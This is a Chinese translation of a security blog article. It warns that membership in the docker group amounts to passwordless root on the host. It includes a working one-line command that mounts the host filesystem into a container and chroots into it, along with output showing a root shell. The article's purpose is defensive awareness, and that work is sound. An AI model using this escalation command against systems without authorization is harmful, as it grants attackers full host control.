Docker安全:通過Docker提升許可權

軒墨發表於2017-09-20
本文講的是Docker 安全:通過 Docker 提升許可權【編者的話】本文的目的在於提醒大家注意 Docker 的安全性。本文中所有的內容總結成一句話:某個使用者被加入了 docker 使用者組,那麼這個使用者相當於直接獲得了宿主機免認證的 root 許可權。本文中的情況出現的情況比較苛刻,所以大家可以把這篇文章當做一個 warning 問不是 error

文章太長不要看,一句話,不要用 docker 使用者組。

如果你對 Docker 不熟悉的話,簡單來說,Docker 是一個輕量級的應用容器。和常見的虛擬機器類似,但是和虛擬機器相比,資源消耗更低。並且,使用和 GitHub 類似的被 commit 的容器,非常容易就能實現容器內指定執行環境中的應用打包和部署。

問題

如果你有伺服器上一個普通使用者的賬號,如果這個使用者被加入了 docker 使用者組,那麼你很容易就能獲得宿主機的 root 許可權。

黑魔法:
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

輸出如下:

johndoe@testmachine:~$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
[...]
You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell

whoami

root #此處是容器內部,但是容器已經 chroot /hostOS,所以相當於直接獲取了宿主機的 root 許可權。
#


譯者一直以為是 Ctrl-D 之後,宿主機的 shell 變成 root,實際上不是。
諮詢了作者 Chris Foster 得知,是在容器內獲得宿主機的 root 許可權。
是不是想起了以前譯者在 Docker 安全 中提到的容器內部的 UID=0 對容器外部某個不明程式執行了 chmod +s

解釋

當然,所有的解釋匯成一句話,應該就是:docker 組內使用者執行命令的時候會自動在所有命令前新增 sudo。因為設計或者其他的原因,Docker 給予所有 docker 組的使用者相當大的權力(雖然權力只體現在能訪問 /var/run/docker.sock 上面)。

預設情況下,Docker 軟體包是會預設新增一個 docker 使用者組的。Docker 守護程式會允許 root 使用者和 docker 組使用者訪問 Docker。給使用者提供 Docker 許可權和給使用者無需認證便可以隨便獲取的 root 許可權差別不大。

解決方案

對於 Docker 來說可能很難修復,因為涉及到他們的架構問題,所以需要重寫非常多的關鍵程式碼才能避免這個問題。我個人的建議是不要使用 docker 使用者組。當然,Docker 官方文件中最好也很清楚地寫明這一點。不要讓新人不懂得“和 root 許可權差別不大”是什麼意思。

Docker 官方也意識到了這個問題,儘管他們並沒有很明顯地表明想去修復它。在他們的安全文件中,他們也的確表示 docker 使用者組的許可權和 root 許可權差別不大,並且敬告使用者慎重使用。

漏洞詳情

上面那條命令 docker run -v /:/hostOS -i -t chrisfosterelli/rootplease,主要的作用是:從 Docker Hub 上面下載我的映象,然後執行。引數 -v 將容器外部的目錄 / 掛載到容器內部 /hostOS,並且使用 -i 和 -t 引數進入容器的 shell

這個容器的啟動指令碼是 exploit.sh,主要內容是:chroot 到容器的 /hostOS (也就是宿主機的 /),然後獲取到宿主機的 root 許可權。

當然可以從這個衍生出非常多的提權方法,但是這個方法是最直接的。

本文中所提到的程式碼託管在 Github,映象在 Docker Hub

原文連結:Privilege Escalation via Docker (翻譯:SegmentFault社群 審校:魏小紅)

=============================================
譯者介紹
本文由 SegmentFault 社群 組織翻譯。SegmentFault 正在組織翻譯更多 Docker 文章,包括:Docker 安全、搭建 Rails 環境、甚至搭建 .NET 環境等,歡迎關注我們。

原文釋出時間為:2015-05-27
本文作者:大舒 
本文來自雲棲社群合作伙伴DockerOne,瞭解相關資訊可以關注DockerOne。
原文標題:Docker 安全:通過 Docker 提升許可權


相關文章